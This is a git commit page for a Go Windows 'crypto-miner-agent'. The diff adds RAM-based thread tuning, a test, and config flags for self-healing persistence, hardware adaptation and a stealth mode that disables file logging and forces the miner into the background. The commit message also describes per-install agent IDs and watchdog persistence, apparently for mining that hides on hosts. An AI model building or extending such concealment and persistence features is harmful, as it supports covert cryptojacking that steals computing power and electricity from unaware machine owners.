Add adaptive agent identity, self-healing, stealth, and parallel RandomX.
Each install gets a unique agent ID, hardware-aware thread tuning, watchdog persistence, optional stealth mode, multi-engine RAM mining, and a fully static Windows binary with no runtime dependencies.
This commit is contained in:
57
agent/config/adapt.go
Normal file
57
agent/config/adapt.go
Normal file
@@ -0,0 +1,57 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"runtime"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
const randomXMBPerThread = 384
|
||||
|
||||
// AdaptToSystem tunes thread and memory limits for the host hardware.
|
||||
func (c RuntimeConfig) AdaptToSystem(reporter *stats.Reporter) RuntimeConfig {
|
||||
if !c.AdaptToHardware {
|
||||
return c
|
||||
}
|
||||
|
||||
out := c
|
||||
totalMB := reporter.TotalMemoryMB()
|
||||
if totalMB == 0 {
|
||||
return out
|
||||
}
|
||||
|
||||
if out.MinFreeRAM <= 0 || out.MinFreeRAM > int(totalMB/4) {
|
||||
minFree := int(totalMB / 10)
|
||||
if minFree < 512 {
|
||||
minFree = 512
|
||||
}
|
||||
out.MinFreeRAM = minFree
|
||||
}
|
||||
|
||||
maxByRAM := int(float64(totalMB) * float64(out.MaxMemoryPct) / 100.0 / float64(randomXMBPerThread))
|
||||
if maxByRAM < 1 {
|
||||
maxByRAM = 1
|
||||
}
|
||||
|
||||
threads := out.EffectiveThreads()
|
||||
if threads > maxByRAM {
|
||||
if out.ThreadMode == "fixed" {
|
||||
out.Threads = maxByRAM
|
||||
} else {
|
||||
cores := runtime.NumCPU()
|
||||
if cores < 1 {
|
||||
cores = 1
|
||||
}
|
||||
pct := int(float64(maxByRAM) / float64(cores) * 100.0)
|
||||
if pct < 10 {
|
||||
pct = 10
|
||||
}
|
||||
if pct > 100 {
|
||||
pct = 100
|
||||
}
|
||||
out.ThreadPercent = pct
|
||||
}
|
||||
}
|
||||
|
||||
return out
|
||||
}
|
||||
24
agent/config/adapt_test.go
Normal file
24
agent/config/adapt_test.go
Normal file
@@ -0,0 +1,24 @@
|
||||
package config
|
||||
|
||||
import (
|
||||
"testing"
|
||||
|
||||
"crypto-miner-agent/stats"
|
||||
)
|
||||
|
||||
func TestAdaptToSystemCapsThreadsByRAM(t *testing.T) {
|
||||
reporter := stats.NewReporter()
|
||||
cfg := RuntimeConfig{BuiltinConfig: BuiltinConfig{
|
||||
ThreadMode: "fixed",
|
||||
Threads: 16,
|
||||
MaxMemoryPct: 50,
|
||||
AdaptToHardware: true,
|
||||
MinFreeRAM: 999999,
|
||||
}}
|
||||
|
||||
// Without real Windows memory APIs in test env, AdaptToSystem may no-op on totalMB=0.
|
||||
adapted := cfg.AdaptToSystem(reporter)
|
||||
if adapted.Threads != cfg.Threads && reporter.TotalMemoryMB() == 0 {
|
||||
t.Fatalf("unexpected thread change without memory info: %d", adapted.Threads)
|
||||
}
|
||||
}
|
||||
@@ -32,5 +32,9 @@ func GetBuiltinConfig() BuiltinConfig {
|
||||
ScheduleEnd: "06:00",
|
||||
InstallBase: "localappdata",
|
||||
InstallRelativePath: DefaultInstallRelativePath,
|
||||
AdaptToHardware: true,
|
||||
SelfHealing: true,
|
||||
FileLogging: true,
|
||||
StealthMode: false,
|
||||
}
|
||||
}
|
||||
|
||||
@@ -38,6 +38,10 @@ type BuiltinConfig struct {
|
||||
InstallBase string
|
||||
InstallCustomBase string
|
||||
InstallRelativePath string
|
||||
AdaptToHardware bool
|
||||
SelfHealing bool
|
||||
FileLogging bool
|
||||
StealthMode bool
|
||||
}
|
||||
|
||||
type RuntimeConfig struct {
|
||||
@@ -99,6 +103,12 @@ func Load() RuntimeConfig {
|
||||
if b.InstallRelativePath == "" {
|
||||
b.InstallRelativePath = DefaultInstallRelativePath
|
||||
}
|
||||
if b.StealthMode {
|
||||
b.FileLogging = false
|
||||
if b.DisplayMode == "" || b.DisplayMode == "visible" {
|
||||
b.DisplayMode = "background"
|
||||
}
|
||||
}
|
||||
return RuntimeConfig{BuiltinConfig: b}
|
||||
}
|
||||
|
||||
|
||||
Reference in New Issue
Block a user